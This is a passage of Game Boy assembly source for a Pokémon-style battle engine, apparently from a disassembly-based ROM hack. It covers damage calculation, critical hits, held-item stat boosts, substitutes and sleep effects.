jp EndMoveEffect
.fly_dig
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
res SUBSTATUS_UNDERGROUND, [hl]
res SUBSTATUS_FLYING, [hl]
call GetUserUnderwaterAddr
xor a
ld [hl], a
call AppearUserRaiseSub
jp EndMoveEffect
.fly_dig_moves
dw FLY
dw DIG
dw DIVE
dw BOUNCE
dw SHADOW_FORCE
dw -1
BattleCommand_applydamage:
; applydamage
farcall TookDamageFlag
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVar
bit SUBSTATUS_ENDURE, a
jr z, .focus_band
call BattleCommand_falseswipe
ld b, 0
jr nc, .damage
ld b, 1
jr .damage
.focus_band
call GetOpponentItem
ld a, b
cp HELD_FOCUS_BAND
ld b, 0
jr nz, .damage
call BattleRandom
cp c
jr nc, .damage
call BattleCommand_falseswipe
ld b, 0
jr nc, .damage
ld b, 2
.damage
push bc
call .update_damage_taken
ld c, FALSE
ldh a, [hBattleTurn]
and a
jr nz, .damage_player
call DoEnemyDamage
jr .done_damage
.damage_player
call DoPlayerDamage
.done_damage
pop bc
ld a, b
and a
ret z
dec a
jr nz, .focus_band_text
ld hl, EnduredText
jp StdBattleTextbox
.focus_band_text
call GetOpponentItem
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, HungOnText
jp StdBattleTextbox
.update_damage_taken
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
ret nz
ld de, wPlayerDamageTaken + 1
ldh a, [hBattleTurn]
and a
jr nz, .got_damage_taken
ld de, wEnemyDamageTaken + 1
.got_damage_taken
ld a, [wCurDamage + 1]
ld b, a
ld a, [de]
add b
ld [de], a
dec de
ld a, [wCurDamage]
ld b, a
ld a, [de]
adc b
ld [de], a
ret nc
ld a, $ff
ld [de], a
inc de
ld [de], a
ret
GetFailureResultText:
ld a, [wWonderGuardMiss]
and a
ld hl, WonderGuardMissText
ld de, WonderGuardMissText
jr nz, .got_text
ld hl, DoesntAffectText
ld de, DoesntAffectText
ld a, [wTypeModifier]
and $7f
jr z, .got_text
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_FUTURE_SIGHT
ld hl, ButItFailedText
ld de, ItFailedText
jr z, .got_text
cp EFFECT_TRICK
jr z, .got_text
ld hl, AttackMissedText
ld de, AttackMissed2Text
ld a, [wCriticalHit]
cp -1
jr nz, .got_text
ld hl, UnaffectedText
.got_text
call FailText_CheckOpponentProtect
xor a
ld [wCriticalHit], a
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_JUMP_KICK
ret nz
ld a, [wTypeModifier]
and $7f
ret z
ld hl, wCurDamage
ld a, [hli]
ld b, [hl]
rept 3
srl a
rr b
endr
ld [hl], b
dec hl
ld [hli], a
or b
jr nz, .do_at_least_1_damage
inc a
ld [hl], a
.do_at_least_1_damage
ld hl, CrashedText
call StdBattleTextbox
ld a, $1
ld [wKickCounter], a
call LoadMoveAnim
ld c, TRUE
ldh a, [hBattleTurn]
and a
jp nz, DoEnemyDamage
jp DoPlayerDamage
FailText_CheckOpponentProtect:
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVar
bit SUBSTATUS_PROTECT, a
jr z, .not_protected
ld h, d
ld l, e
.not_protected
jp StdBattleTextbox
BattleCommand_bidefailtext:
ld a, [wAttackMissed]
and a
ret z
ld a, [wTypeModifier]
and $7f
jp z, PrintDoesntAffect
jp PrintButItFailed
BattleCommand_criticaltext:
; criticaltext
; Prints the message for critical hits or one-hit KOs.
; If there is no message to be printed, wait 20 frames.
ld a, [wCriticalHit]
and a
jr z, .wait
dec a
add a
ld hl, .texts
ld b, 0
ld c, a
add hl, bc
ld a, [hli]
ld h, [hl]
ld l, a
call StdBattleTextbox
xor a
ld [wCriticalHit], a
.wait
ld c, 20
jp DelayFrames
.texts
dw CriticalHitText
dw OneHitKOText
BattleCommand_startloop:
; startloop
ld hl, wPlayerRolloutCount
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wEnemyRolloutCount
.ok
xor a
ld [hl], a
ret
BattleCommand_supereffectivelooptext:
; supereffectivelooptext
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
bit SUBSTATUS_IN_LOOP, a
ret nz
; fallthrough
BattleCommand_supereffectivetext:
; supereffectivetext
ld a, [wTypeModifier]
and $7f
cp 10 ; 1.0
ret z
ld hl, SuperEffectiveText
jr nc, .print
ld hl, NotVeryEffectiveText
.print
jp StdBattleTextbox
BattleCommand_checkfaint:
; checkfaint
; Faint the opponent if its HP reached zero
; and faint the user along with it if it used Destiny Bond.
; Ends the move effect if the opponent faints.
ld hl, wEnemyMonHP
ldh a, [hBattleTurn]
and a
jr z, .got_hp
ld hl, wBattleMonHP
.got_hp
ld a, [hli]
or [hl]
ret nz
ld a, BATTLE_VARS_SUBSTATUS5_OPP
call GetBattleVar
bit SUBSTATUS_DESTINY_BOND, a
jr z, .no_dbond
ld hl, TookDownWithItText
call StdBattleTextbox
ldh a, [hBattleTurn]
and a
ld hl, wEnemyMonMaxHP + 1
bccoord 2, 2 ; hp bar
ld a, 0
jr nz, .got_max_hp
ld hl, wBattleMonMaxHP + 1
bccoord 10, 9 ; hp bar
ld a, 1
.got_max_hp
ld [wWhichHPBar], a
ld a, [hld]
ld [wBuffer1], a
ld a, [hld]
ld [wBuffer2], a
ld a, [hl]
ld [wBuffer3], a
xor a
ld [hld], a
ld a, [hl]
ld [wBuffer4], a
xor a
ld [hl], a
ld [wBuffer5], a
ld [wBuffer6], a
ld h, b
ld l, c
predef AnimateHPBar
call RefreshBattleHuds
call BattleCommand_switchturn
xor a
ld [wNumHits], a
inc a
ld [wKickCounter], a
ld hl, DESTINY_BOND
call GetMoveIDFromIndex
call LoadAnim
call BattleCommand_switchturn
jr .finish
.no_dbond
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVar
bit SUBSTATUS_GRUDGE, a
jr z, .no_grudge
farcall DoGrudgeEffect
jr .finish
.no_grudge
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_MULTI_HIT
jr z, .multiple_hit_raise_sub
cp EFFECT_DOUBLE_HIT
jr z, .multiple_hit_raise_sub
cp EFFECT_POISON_MULTI_HIT
jr z, .multiple_hit_raise_sub
cp EFFECT_TRIPLE_KICK
jr z, .multiple_hit_raise_sub
cp EFFECT_BEAT_UP
jr nz, .finish
.multiple_hit_raise_sub
call BattleCommand_raisesub
.finish
jp EndMoveEffect
BattleCommand_buildopponentrage:
; buildopponentrage
jp .start
.start
ld a, [wAttackMissed]
and a
ret nz
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVar
bit SUBSTATUS_RAGE, a
ret z
ld de, wEnemyRageCounter
ldh a, [hBattleTurn]
and a
jr z, .player
ld de, wPlayerRageCounter
.player
ld a, [de]
inc a
ret z
ld [de], a
call BattleCommand_switchturn
ld hl, RageBuildingText
call StdBattleTextbox
jp BattleCommand_switchturn
BattleCommand_ragedamage:
; ragedamage
ld a, [wCurDamage]
ld h, a
ld b, a
ld a, [wCurDamage + 1]
ld l, a
ld c, a
ldh a, [hBattleTurn]
and a
ld a, [wPlayerRageCounter]
jr z, .rage_loop
ld a, [wEnemyRageCounter]
.rage_loop
and a
jr z, .done
dec a
add hl, bc
jr nc, .rage_loop
ld hl, $ffff
.done
ld a, h
ld [wCurDamage], a
ld a, l
ld [wCurDamage + 1], a
ret
EndMoveEffect:
ld a, [wBattleScriptBufferAddress]
ld l, a
ld a, [wBattleScriptBufferAddress + 1]
ld h, a
ld a, $ff
ld [hli], a
ld [hli], a
ld [hl], a
ret
CheckCharge:
and TYPE_MASK
cp ELECTRIC
ret nz
ld a, d
add a
ld d, a
ret nc
ld d, 255
ret
DittoMetalPowder:
ld a, MON_SPECIES
call BattlePartyAttr
ldh a, [hBattleTurn]
and a
ld a, [hl]
jr nz, .Ditto
ld a, [wTempEnemyMonSpecies]
.Ditto:
push hl
call GetPokemonIndexFromID
ld a, l
sub LOW(DITTO)
if HIGH(DITTO) == 0
or h
pop hl
else
ld a, h
pop hl
ret nz
if HIGH(DITTO) == 1
dec a
else
cp HIGH(DITTO)
endc
endc
ret nz
push bc
call GetOpponentItem
ld a, [hl]
cp METAL_POWDER
pop bc
ret nz
ld a, c
srl a
add c
ld c, a
ret nc
srl b
ld a, b
and a
jr nz, .done
inc b
.done
scf
rr c
ret
BattleCommand_damagestats:
; damagestats
ldh a, [hBattleTurn]
and a
jp nz, EnemyAttackDamage
; fallthrough
PlayerAttackDamage:
; Return move power d, player level e, enemy defense c and player attack b.
call ResetDamage
ld hl, wPlayerMoveStructPower
ld a, [hli]
and a
ld d, a
ret z
ld a, [hl]
cp SPECIAL
jr nc, .special
.physical
ld hl, wEnemyMonDefense
ld a, [hli]
ld b, a
ld c, [hl]
ld a, [wEnemyScreens]
bit SCREENS_REFLECT, a
jr z, .physicalcrit
sla c
rl b
.physicalcrit
ld hl, wBattleMonAttack
call CheckDamageStatsCritical
jr c, .thickclub
ld hl, wEnemyDefense
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wPlayerAttack
jr .thickclub
.special
ld hl, wEnemyMonSpclDef
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wEnemyMonType
call TrySandstormSpDefBoost
ld a, [wEnemyScreens]
bit SCREENS_LIGHT_SCREEN, a
jr z, .specialcrit
sla c
rl b
.specialcrit
ld hl, wBattleMonSpclAtk
call CheckDamageStatsCritical
jr c, .lightball
ld hl, wEnemySpDef
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wEnemyMonType
call TrySandstormSpDefBoost
ld hl, wPlayerSpAtk
.lightball
; Note: Returns player special attack at hl in hl.
call SpecialSpeciesItemBoost
jr .done
.thickclub
; Note: Returns player attack at hl in hl.
call ThickClubBoost
.done
call TruncateHL_BC
ld a, [wBattleMonLevel]
ld e, a
call DittoMetalPowder
ld a, [wPlayerChargeFlag]
and a
ld a, [wPlayerMoveStructType]
call nz, CheckCharge
farcall CheckSports
ld a, 1
and a
ret
TrySandstormSpDefBoost:
; multiply bc by 1.5 if rock type and sandstorm
ld a, [wBattleWeather]
cp WEATHER_SANDSTORM
ret nz
ld a, [hli]
cp ROCK
jr z, .sandstorm_boost
ld a, [hl]
cp ROCK
ret nz
.sandstorm_boost
ld h, b
ld l, c
rrc h
rr l
add hl, bc
ld b, h
ld c, l
ret
TruncateHL_BC:
.loop
; Truncate 16-bit values hl and bc to 8-bit values b and c respectively.
; b = hl, c = bc
ld a, h
or b
jr z, .finish
srl b
rr c
srl b
rr c
ld a, c
or b
jr nz, .done_bc
inc c
.done_bc
srl h
rr l
srl h
rr l
ld a, l
or h
jr nz, .finish
inc l
.finish
ld a, [wLinkMode]
cp LINK_COLOSSEUM
jr z, .done
; If we go back to the loop point,
; it's the same as doing this exact
; same check twice.
ld a, h
or b
jr nz, .loop
.done
ld b, l
ret
CheckDamageStatsCritical:
; Return carry if boosted stats should be used in damage calculations.
; Unboosted stats should be used if the attack is a critical hit,
; and the stage of the opponent's defense is higher than the user's attack.
ld a, [wCriticalHit]
and a
scf
ret z
push hl
push bc
ldh a, [hBattleTurn]
and a
jr nz, .enemy
ld a, [wPlayerMoveStructType]
cp SPECIAL
; special
ld a, [wPlayerSAtkLevel]
ld b, a
ld a, [wEnemySDefLevel]
jr nc, .end
; physical
ld a, [wPlayerAtkLevel]
ld b, a
ld a, [wEnemyDefLevel]
jr .end
.enemy
ld a, [wEnemyMoveStructType]
cp SPECIAL
; special
ld a, [wEnemySAtkLevel]
ld b, a
ld a, [wPlayerSDefLevel]
jr nc, .end
; physical
ld a, [wEnemyAtkLevel]
ld b, a
ld a, [wPlayerDefLevel]
.end
cp b
pop bc
pop hl
ret
ThickClubBoost:
; Return in hl the stat value at hl.
; If the attacking monster is Cubone or Marowak and
; it's holding a Thick Club, double it.
push bc
push de
ld bc, CUBONE
ld d, THICK_CLUB
call SpeciesItemBoost
if MAROWAK == (CUBONE + 1)
inc bc
else
ld bc, MAROWAK
endc
call DoubleStatIfSpeciesHoldingItem
pop de
pop bc
ret
SpecialSpeciesItemBoost:
; Return in hl the stat value at hl.
; If the attacking monster is Pikachu and it's
; holding a Light Ball, double it.
push bc
push de
ld bc, PIKACHU
ld d, LIGHT_BALL
call SpeciesItemBoost
ld bc, CLAMPERL
ld d, DEEPSEATOOTH
call DoubleStatIfSpeciesHoldingItem
ld bc, CLAMPERL
ld d, DEEPSEASCALE
call HalveStatIfSpeciesHoldingItem
pop de
pop bc
ret
SpeciesItemBoost:
; Return in hl the stat value at hl.
; If the attacking monster is species bc and
; it's holding item d, double it.
ld a, [hli]
ld l, [hl]
ld h, a
; fallthrough
DoubleStatIfSpeciesHoldingItem:
; If the attacking monster is species bc and
; it's holding item d, double the stat in hl.
call StatChangeItemCheck
ret nz
push hl
call GetUserItem
ld a, [hl]
pop hl
cp d
ret nz
; Double the stat
sla l
rl h
ret
HalveStatIfSpeciesHoldingItem:
; If the defending monster is species bc and
; it's holding item d, halve the stat in hl.
call StatChangeItemCheck
ret nz
push hl
call GetOpponentItem
ld a, [hl]
pop hl
cp d
ret nz
; Halve the stat
rrc h
rr l
ret
StatChangeItemCheck:
push hl
ld a, MON_SPECIES
call BattlePartyAttr
ldh a, [hBattleTurn]
and a
ld a, [hl]
jr nz, .CompareSpecies
ld a, [wTempEnemyMonSpecies]
.CompareSpecies:
call GetPokemonIndexFromID
ld a, h
cp b
ld a, l
pop hl
ret nz
cp c
ret
EnemyAttackDamage:
call ResetDamage
; No damage dealt with 0 power.
ld hl, wEnemyMoveStructPower
ld a, [hli] ; hl = wEnemyMoveStructType
ld d, a
and a
ret z
ld a, [hl]
cp SPECIAL
jr nc, .Special
.physical
ld hl, wBattleMonDefense
ld a, [hli]
ld b, a
ld c, [hl]
ld a, [wPlayerScreens]
bit SCREENS_REFLECT, a
jr z, .physicalcrit
sla c
rl b
.physicalcrit
ld hl, wEnemyMonAttack
call CheckDamageStatsCritical
jr c, .thickclub
ld hl, wPlayerDefense
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wEnemyAttack
jr .thickclub
.Special:
ld hl, wBattleMonSpclDef
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wBattleMonType
call TrySandstormSpDefBoost
ld a, [wPlayerScreens]
bit SCREENS_LIGHT_SCREEN, a
jr z, .specialcrit
sla c
rl b
.specialcrit
ld hl, wEnemyMonSpclAtk
call CheckDamageStatsCritical
jr c, .lightball
ld hl, wPlayerSpDef
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wBattleMonType
call TrySandstormSpDefBoost
ld hl, wEnemySpAtk
.lightball
call SpecialSpeciesItemBoost
jr .done
.thickclub
call ThickClubBoost
.done
call TruncateHL_BC
ld a, [wEnemyMonLevel]
ld e, a
call DittoMetalPowder
ld a, [wEnemyChargeFlag]
and a
ld a, [wEnemyMoveStructType]
call nz, CheckCharge
farcall CheckSports
ld a, 1
and a
ret
INCLUDE "engine/battle/move_effects/beat_up.asm"
HitSelfInConfusion:
call ResetDamage
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonDefense
ld de, wPlayerScreens
ld a, [wBattleMonLevel]
jr z, .got_it
ld hl, wEnemyMonDefense
ld de, wEnemyScreens
ld a, [wEnemyMonLevel]
.got_it
push af
ld a, [hli]
ld b, a
ld c, [hl]
ld a, [de]
bit SCREENS_REFLECT, a
jr z, .mimic_screen
sla c
rl b
.mimic_screen
dec hl
dec hl
dec hl
ld a, [hli]
ld l, [hl]
ld h, a
call TruncateHL_BC
ld d, 40
pop af
ld e, a
ret
BattleCommand_damagecalc:
; damagecalc
; Return a damage value for move power d, player level e, enemy defense c and player attack b.
; Return 1 if successful, else 0.
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
; Selfdestruct and Explosion halve defense.
cp EFFECT_SELFDESTRUCT
jr nz, .dont_selfdestruct
farcall SelfdestructDefenseMultiplier
jr .skip_me_first
.dont_selfdestruct
farcall MeFirstDamageMultiplier
.skip_me_first
; Variable-hit moves and Conversion can have a power of 0.
cp EFFECT_MULTI_HIT
jr z, .skip_zero_damage_check
cp EFFECT_CONVERSION
jr z, .skip_zero_damage_check
; No damage if move power is 0.
ld a, d
and a
ret z
.skip_zero_damage_check
; Minimum defense value is 1.
ld a, c
and a
jr nz, .not_dividing_by_zero
ld c, 1
.not_dividing_by_zero
xor a
ld hl, hDividend
ld [hli], a
ld [hli], a
ld [hl], a
; Level * 2
ld a, e
add a
jr nc, .level_not_overflowing
ld [hl], 1
.level_not_overflowing
inc hl
ld [hli], a
; / 5
ld a, 5
ld [hld], a
push bc
ld b, 4
call Divide
pop bc
; + 2
inc [hl]
inc [hl]
; * bp
inc hl
ld [hl], d
call Multiply
; * Attack
ld [hl], b
call Multiply
; / Defense
ld [hl], c
ld b, 4
call Divide
; / 50
ld [hl], 50
ld b, $4
call Divide
; Item boosts
call GetUserItem
ld a, b
and a
jr z, .DoneItem
ld hl, TypeBoostItems
.NextItem:
ld a, [hli]
cp -1
jr z, .DoneItem
; Item effect
cp b
ld a, [hli]
jr nz, .NextItem
; Type
ld b, a
call GetCurrentMoveType2
cp b
jr nz, .DoneItem
; * 100 + item effect amount
ld a, c
add 100
ldh [hMultiplier], a
call Multiply
; / 100
ld a, 100
ldh [hDivisor], a
ld b, 4
call Divide
.DoneItem:
; Critical hits
call .CriticalMultiplier
; Update wCurDamage (capped at 997).
ld hl, wCurDamage
ld b, [hl]
ldh a, [hProduct + 3]
add b
ldh [hProduct + 3], a
jr nc, .dont_cap_1
ldh a, [hProduct + 2]
inc a
ldh [hProduct + 2], a
and a
jr z, .Cap
.dont_cap_1
ldh a, [hProduct]
ld b, a
ldh a, [hProduct + 1]
or a
jr nz, .Cap
ldh a, [hProduct + 2]
cp HIGH(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE + 1)
jr c, .dont_cap_2
cp HIGH(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE + 1) + 1
jr nc, .Cap
ldh a, [hProduct + 3]
cp LOW(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE + 1)
jr nc, .Cap
.dont_cap_2
inc hl
ldh a, [hProduct + 3]
ld b, [hl]
add b
ld [hld], a
ldh a, [hProduct + 2]
ld b, [hl]
adc b
ld [hl], a
jr c, .Cap
ld a, [hl]
cp HIGH(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE + 1)
jr c, .dont_cap_3
cp HIGH(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE + 1) + 1
jr nc, .Cap
inc hl
ld a, [hld]
cp LOW(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE + 1)
jr c, .dont_cap_3
.Cap:
ld a, HIGH(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE)
ld [hli], a
ld a, LOW(MAX_STAT_VALUE - MIN_NEUTRAL_DAMAGE)
ld [hld], a
.dont_cap_3
; Minimum neutral damage is 2 (bringing the cap to 999).
inc hl
ld a, [hl]
add MIN_NEUTRAL_DAMAGE
ld [hld], a
jr nc, .dont_floor
inc [hl]
.dont_floor
ld a, 1
and a
ret
.CriticalMultiplier:
ld a, [wCriticalHit]
and a
ret z
; x2
ldh a, [hQuotient + 3]
add a
ldh [hProduct + 3], a
ldh a, [hQuotient + 2]
rl a
ldh [hProduct + 2], a
; Cap at $ffff.
ret nc
ld a, $ff
ldh [hProduct + 2], a
ldh [hProduct + 3], a
ret
INCLUDE "data/types/type_boost_items.asm"
BattleCommand_constantdamage:
; constantdamage
ld hl, wBattleMonLevel
ldh a, [hBattleTurn]
and a
jr z, .got_turn
ld hl, wEnemyMonLevel
.got_turn
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_LEVEL_DAMAGE
ld b, [hl]
ld a, 0
jr z, .got_power
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_PSYWAVE
jr z, .psywave
cp EFFECT_SUPER_FANG
jr z, .super_fang
cp EFFECT_REVERSAL
jr z, .reversal
ld a, BATTLE_VARS_MOVE_POWER
call GetBattleVar
ld b, a
ld a, $0
jr .got_power
.psywave
ld a, b
srl a
add b
ld b, a
.psywave_loop
call BattleRandom
and a
jr z, .psywave_loop
cp b
jr nc, .psywave_loop
ld b, a
ld a, 0
jr .got_power
.super_fang
ld hl, wEnemyMonHP
ldh a, [hBattleTurn]
and a
jr z, .got_hp
ld hl, wBattleMonHP
.got_hp
ld a, [hli]
srl a
ld b, a
ld a, [hl]
rr a
push af
ld a, b
pop bc
and a
jr nz, .got_power
or b
ld a, 0
jr nz, .got_power
ld b, 1
jr .got_power
.got_power
ld hl, wCurDamage
ld [hli], a
ld [hl], b
ret
.reversal
ld hl, wBattleMonHP
ldh a, [hBattleTurn]
and a
jr z, .reversal_got_hp
ld hl, wEnemyMonHP
.reversal_got_hp
xor a
ldh [hDividend], a
ldh [hMultiplicand + 0], a
ld a, [hli]
ldh [hMultiplicand + 1], a
ld a, [hli]
ldh [hMultiplicand + 2], a
ld a, 48
ldh [hMultiplier], a
call Multiply
ld a, [hli]
ld b, a
ld a, [hl]
ldh [hDivisor], a
ld a, b
and a
jr z, .skip_to_divide
ldh a, [hProduct + 4]
srl b
rr a
srl b
rr a
ldh [hDivisor], a
ldh a, [hProduct + 2]
ld b, a
srl b
ldh a, [hProduct + 3]
rr a
srl b
rr a
ldh [hDividend + 3], a
ld a, b
ldh [hDividend + 2], a
.skip_to_divide
ld b, 4
call Divide
ldh a, [hQuotient + 3]
ld b, a
ld hl, FlailReversalPower
.reversal_loop
ld a, [hli]
cp b
jr nc, .break_loop
inc hl
jr .reversal_loop
.break_loop
ldh a, [hBattleTurn]
and a
ld a, [hl]
jr nz, .notPlayersTurn
ld hl, wPlayerMoveStructPower
ld [hl], a
push hl
call PlayerAttackDamage
jr .notEnemysTurn
.notPlayersTurn
ld hl, wEnemyMoveStructPower
ld [hl], a
push hl
call EnemyAttackDamage
.notEnemysTurn
call BattleCommand_damagecalc
pop hl
ld [hl], 1
ret
INCLUDE "data/moves/flail_reversal_power.asm"
INCLUDE "engine/battle/move_effects/counter.asm"
INCLUDE "engine/battle/move_effects/encore.asm"
INCLUDE "engine/battle/move_effects/pain_split.asm"
INCLUDE "engine/battle/move_effects/snore.asm"
INCLUDE "engine/battle/move_effects/conversion2.asm"
INCLUDE "engine/battle/move_effects/lock_on.asm"
INCLUDE "engine/battle/move_effects/sketch.asm"
;BattleCommand_defrostopponent:
;; defrostopponent
;; Thaw the opponent if frozen, and
;; raise the user's Attack one stage.
;
; call AnimateCurrentMove
;
; ld a, BATTLE_VARS_STATUS_OPP
; call GetBattleVarAddr
; call Defrost
;
; ld a, BATTLE_VARS_MOVE_EFFECT
; call GetBattleVarAddr
; ld a, [hl]
; push hl
; push af
;
; ld a, EFFECT_ATTACK_UP
; ld [hl], a
; call BattleCommand_statup
;
; pop af
; pop hl
; ld [hl], a
; ret
INCLUDE "engine/battle/move_effects/sleep_talk.asm"
INCLUDE "engine/battle/move_effects/destiny_bond.asm"
INCLUDE "engine/battle/move_effects/spite.asm"
INCLUDE "engine/battle/move_effects/false_swipe.asm"
INCLUDE "engine/battle/move_effects/heal_bell.asm"
FarPlayBattleAnimation:
; play animation de
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVar
and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND
ret nz
call GetUserUnderwaterAddr
ld a, [hl]
and a
ret nz
; fallthrough
PlayFXAnimID:
ld a, e
ld [wFXAnimID], a
ld a, d
ld [wFXAnimID + 1], a
PlaySelectedFXAnim:
ld c, 3
call DelayFrames
callfar PlayBattleAnim
ret
DoEnemyDamage:
ld hl, wCurDamage
ld a, [hli]
ld b, a
ld a, [hl]
or b
jr z, .did_no_damage
ld a, c
and a
jr nz, .ignore_substitute
ld a, [wEnemySubStatus4]
bit SUBSTATUS_SUBSTITUTE, a
jp nz, DoSubstituteDamage
.ignore_substitute
; Substract wCurDamage from wEnemyMonHP.
; store original HP in little endian wBuffer3/4
ld a, [hld]
ld b, a
ld a, [wEnemyMonHP + 1]
ld [wBuffer3], a
sub b
ld [wEnemyMonHP + 1], a
ld a, [hl]
ld b, a
ld a, [wEnemyMonHP]
ld [wBuffer4], a
sbc b
ld [wEnemyMonHP], a
jr nc, .no_underflow
ld a, [wBuffer4]
ld [hli], a
ld a, [wBuffer3]
ld [hl], a
xor a
ld hl, wEnemyMonHP
ld [hli], a
ld [hl], a
.no_underflow
ld hl, wEnemyMonMaxHP
ld a, [hli]
ld [wBuffer2], a
ld a, [hl]
ld [wBuffer1], a
ld hl, wEnemyMonHP
ld a, [hli]
ld [wBuffer6], a
ld a, [hl]
ld [wBuffer5], a
hlcoord 2, 2
xor a
ld [wWhichHPBar], a
predef AnimateHPBar
.did_no_damage
jp RefreshBattleHuds
DoPlayerDamage:
ld hl, wCurDamage
ld a, [hli]
ld b, a
ld a, [hl]
or b
jr z, .did_no_damage
ld a, c
and a
jr nz, .ignore_substitute
ld a, [wPlayerSubStatus4]
bit SUBSTATUS_SUBSTITUTE, a
jp nz, DoSubstituteDamage
.ignore_substitute
; Substract wCurDamage from wBattleMonHP.
; store original HP in little endian wBuffer3/4
; store new HP in little endian wBuffer5/6
ld a, [hld]
ld b, a
ld a, [wBattleMonHP + 1]
ld [wBuffer3], a
sub b
ld [wBattleMonHP + 1], a
ld [wBuffer5], a
ld b, [hl]
ld a, [wBattleMonHP]
ld [wBuffer4], a
sbc b
ld [wBattleMonHP], a
ld [wBuffer6], a
jr nc, .no_underflow
ld a, [wBuffer4]
ld [hli], a
ld a, [wBuffer3]
ld [hl], a
xor a
ld hl, wBattleMonHP
ld [hli], a
ld [hl], a
ld hl, wBuffer5
ld [hli], a
ld [hl], a
.no_underflow
ld hl, wBattleMonMaxHP
ld a, [hli]
ld [wBuffer2], a
ld a, [hl]
ld [wBuffer1], a
hlcoord 10, 9
ld a, 1
ld [wWhichHPBar], a
predef AnimateHPBar
.did_no_damage
jp RefreshBattleHuds
DoSubstituteDamage:
ld hl, SubTookDamageText
call StdBattleTextbox
ld de, wEnemySubstituteHP
ldh a, [hBattleTurn]
and a
jr z, .got_hp
ld de, wPlayerSubstituteHP
.got_hp
ld hl, wCurDamage
ld a, [hli]
and a
jr nz, .broke
ld a, [de]
sub [hl]
ld [de], a
jr z, .broke
jr nc, .done
.broke
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVarAddr
res SUBSTATUS_SUBSTITUTE, [hl]
ld hl, SubFadedText
call StdBattleTextbox
call BattleCommand_switchturn
call BattleCommand_lowersubnoanim
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVar
and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND
jr nz, .no_appear
call GetUserUnderwaterAddr
ld a, [hl]
and a
jr nz, .no_appear
call AppearUserLowerSub
.no_appear
call BattleCommand_switchturn
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVarAddr
cp EFFECT_MULTI_HIT
jr z, .ok
cp EFFECT_DOUBLE_HIT
jr z, .ok
cp EFFECT_POISON_MULTI_HIT
jr z, .ok
cp EFFECT_TRIPLE_KICK
jr z, .ok
cp EFFECT_BEAT_UP
jr z, .ok
xor a
ld [hl], a
.ok
call RefreshBattleHuds
.done
jp ResetDamage
UpdateMoveData:
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVarAddr
ld d, h
ld e, l
ld a, BATTLE_VARS_MOVE
call GetBattleVar
ld [wCurSpecies], a
ld [wNamedObjectIndexBuffer], a
call GetMoveData
call GetMoveName
jp CopyName1
BattleCommand_sleeptarget:
; sleeptarget
call GetOpponentItem
ld a, b
cp HELD_PREVENT_SLEEP
jr nz, .not_protected_by_item
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, ProtectedByText
jr .fail
.not_protected_by_item
ld a, [wPlayerSubStatus6]
bit SUBSTATUS_UPROAR, a
jr nz, .fail
ld a, [wEnemySubStatus6]
bit SUBSTATUS_UPROAR, a
jr nz, .fail
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
ld d, h
ld e, l
ld a, [de]
and SLP
ld hl, AlreadyAsleepText
jr nz, .fail
ld a, [wAttackMissed]
and a
jp nz, PrintDidntAffect2
ld hl, DidntAffect1Text
call .CheckAIRandomFail
jr c, .fail
ld a, [de]
and a
jr nz, .fail
call CheckSubstituteOpp
jr nz, .fail
call AnimateCurrentMove
jp SetSleep
.fail
push hl
call AnimateFailedMove
pop hl
jp StdBattleTextbox
.CheckAIRandomFail:
; Enemy turn
ldh a, [hBattleTurn]
and a
jr z, .dont_fail
; Not in link battle
ld a, [wLinkMode]
and a
jr nz, .dont_fail
ld a, [wInBattleTowerBattle]
and a
jr nz, .dont_fail
; Not locked-on by the enemy
ld a, [wPlayerSubStatus5]
bit SUBSTATUS_LOCK_ON, a
jr nz, .dont_fail
call BattleRandom
cp 25 percent + 1 ; 25% chance AI fails
ret c
.dont_fail
xor a
ret
SetSleep:
; sets de to a valid sleep count
ld b, $7
ld a, [wInBattleTowerBattle]
and a
jr z, .random_loop
ld b, $3
.random_loop
call BattleRandom
and b
jr z, .random_loop
cp 7
jr z, .random_loop
inc a
ld [de], a
call UpdateOpponentInParty
call RefreshBattleHuds
ld hl, FellAsleepText
call StdBattleTextbox
farcall UseHeldStatusHealingItem
jp z, OpponentCantMove
ret
BattleCommand_poisontarget:
; poisontarget
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_STATUS_OPP
